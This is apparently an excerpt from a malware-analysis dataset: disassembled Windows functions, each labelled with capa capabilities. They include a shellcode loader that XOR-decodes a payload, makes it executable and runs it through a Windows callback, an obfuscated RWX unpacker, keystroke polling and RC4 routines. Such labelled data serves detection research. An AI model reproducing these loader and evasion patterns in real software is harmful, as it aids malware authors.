joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401500
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encrypt data using rc4 prga
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x308
call dbg.__main
lea eax, [ebp - 0x306]
mov ebx, 0x404008
mov edx, 0x163
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x3b], 0x7473614d
mov dword [ebp - 0x37], 0x485f7265
mov dword [ebp - 0x33], 0x68436e61
mov dword [ebp - 0x2f], 0x40216e61
mov word [ebp - 0x2b], 0x2e23
mov byte [ebp - 0x29], 0
lea eax, [ebp - 0x3b]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0
jmp 0x4015e1
lea edx, [ebp - 0x306]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x1c]
cdq
idiv dword [ebp - 0x20]
mov eax, edx
movzx eax, byte [ebp + eax - 0x3b]
xor eax, ecx
mov ecx, eax
lea edx, [ebp - 0x1a3]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov byte [eax], cl
lea edx, [ebp - 0x1a3]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 4], eax
mov dword [esp], str.x_x
call sym._printf
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
cmp eax, 0x163
jb 0x40158f
lea eax, [ebp - 0x1a3]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x40]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x163
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_EnumUILanguagesA]
call eax
sub esp, 0xc
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401ac0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable
Function at 0x401b20
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x405050]
test esi, esi
jle 0x401c0d
mov edi, dword [0x405054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401b54
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401c06
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401b40
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x401c4a
lea ebx, [esi + esi*2]
mov esi, dword [0x405054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c2a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401bff
sub eax, 0x40
and eax, 0xffffffbf
je 0x401bff
mov eax, dword [esp + 0x20]
add ebx, dword [0x405054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401c14
add dword [0x405050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401b5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]

Function at 0x402110
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402165
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40215e
test esi, esi
je 0x40215e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402140
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402380
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4023b8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x4023ae
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4023ba
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4023a0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4010b2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x4010ff
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x804]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x804]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x404]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40170c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40171b
pop dword [ebp - 0x3c]
mov eax, 0x63e02732
add eax, 0x9c5fefe9
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xdaaaea26
sub dword [ebp - 0x4c], 0x8c58a4db
mov dword [ebp - 0x48], 0x8930ebc5
sub dword [ebp - 0x48], 0x56fd9f80
mov dword [ebp - 0x44], 0xc248c3e
sub dword [ebp - 0x44], 0xbfd84810
mov dword [ebp - 0x40], 0xeab0219b
sub dword [ebp - 0x40], 0xeab0219b
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xe55f68e2
sub eax, 0xe51e988e
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x33cc552f
sub dword [ebp - 0x4c], 0xbf59ebd9
mov dword [ebp - 0x48], 0xd2cffade
add dword [ebp - 0x48], 0x6e9c6697
mov dword [ebp - 0x44], 0xc3da870
add dword [ebp - 0x44], 0x5731c3fc
mov dword [ebp - 0x40], 0x1ca00cc9
sub dword [ebp - 0x40], 0x1ca00cc9
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x222a6a8e
sub eax, 0x21e99a42
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x37902
push 0
call eax
mov ecx, 0x3f53
mov edi, eax
mov ebx, 0xafe561dd
sub ebx, 0xafa3b1dd
add ebx, dword [ebp - 0x3c]
mov esi, 0xc037ddc9
sub esi, 0x2e6ab8c7
sub dword [ebp - 8], 0xb1fe79bb
mov edx, dword [ebx]
mov dword [ebp - 0x30], 0xa591a48e
xor edx, esi
xor dword [ebp - 0x10], edx
mov dword [edi], edx
add dword [ebp - 0x24], 0xd03eedfe
add edi, 4
add ebx, 4
loop 0x401837
add eax, 0x3efe68bc
add eax, 0xc1028763
xor ebx, ebx
add ebx, eax
add eax, 0xeadd1a06
sub eax, 0xeadd1a01
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x49b88a
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49b8b8
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x49b8d6
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049b7f0
jmp 0x49b8d6
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49b8d6
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049b7f0
test edi, edi
mov eax, edi
jne 0x49b8c0
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x408cd0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47c16b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00470d59
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x408d52
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046ec33
mov eax, dword [eax]
push 0x4cecb0
push eax
call fcn.00461664
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00470fe4
test bl, bl
je 0x408d52
push 0x4cecb0
lea ecx, [esp + 0xc]
call fcn.00471374
push 0x4cecbc
lea ecx, [esp + 0xc]
call fcn.00471374
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x408d8e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00470fe4
jmp 0x408e59
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x408e12
lea edx, [esp + 0x7c]
push 0x4cecb8
push edx
call fcn.00461664
add esp, 8
test eax, eax
je 0x408e12
lea eax, [esp + 0x7c]
push 0x4cecb4
push eax
call fcn.00461664
add esp, 8
test eax, eax
je 0x408e12
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408da2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00470fe4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x409660
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4096c2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4096d0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47c1eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4d8650]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x409808
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x409736
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00470fe4
xor eax, eax
jmp 0x40987f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00471121
push esi
lea ecx, [esp + 0xc]
call fcn.004713b0
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40985d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00409660
test eax, eax
jne 0x40985d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00409660
test eax, eax
jne 0x40985d
lea eax, [esp + 0x14]
push 0x4ceccc
push eax
call fcn.00462700
mov esi, eax
add esp, 8
test esi, esi
jne 0x40983c
lea ecx, [esp + 0x14]
push 0x4cecc8
push ecx
call fcn.00462680
mov esi, eax
add esp, 8
test esi, esi
jne 0x40983c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40983f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004710d1
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40974e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00470fe4
xor eax, eax
jmp 0x40987f
mov byte [esi], 0
push 0x4cecc4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00470fe4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41a370
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41a3de
cmp si, 0x69
ja 0x41a3de
add esi, 0xffd0
cmp si, 0x11
je 0x41a3ae
push 0x11
call edi
test ax, ax
jge 0x41a3ae
or esi, 0x2000
cmp si, 0x10
je 0x41a3c3
push 0x10
call edi
test ax, ax
jge 0x41a3c3
or esi, 0x4000
cmp si, 0x12
je 0x41a3d8
push 0x12
call edi
test ax, ax
jge 0x41a3d8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41a3eb
mov esi, 0xbd
jmp 0x41a39f
cmp si, 0x6e
jne 0x41a3f8
mov esi, 0xbe
jmp 0x41a39f
cmp si, 0x6f
jne 0x41a399
mov esi, 0xbf
jmp 0x41a39f

Function at 0x41bc40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4e8dc8]
xor edx, edx
cmp eax, edx
jne 0x41bc66
xor eax, eax
mov byte [eax + 0x4e8cc8], al
inc eax
cmp eax, 0x100
jl 0x41bc4e
mov dword [0x4e8dc8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4e8cc8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41bcf7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41bcca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41bc98
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41bd70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41bdc3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41bdaa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x422dd0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x422f68
cmp ebp, ebx
jle 0x422f68
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x422e2e
dec eax
or eax, 0xfffffff8
inc eax
je 0x422e35
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x422e44
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x422e4b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00470d25
add esp, 4
cmp eax, ebx
je 0x422e6c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00470d25
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x422f5e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x422f45
mov al, byte [edx]
cmp al, 0xc0
jbe 0x422f31
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x422f26
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x422f34
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x422f34
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x422ed0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x422ec1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4262d0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x47d868
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x426309
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004786d2
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0047871e
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00426390
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0047875b
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x42a9c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x47e098
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.0042b540
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x42aa69
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.0042a650
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.00477983
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.00441400
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.004779f5
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14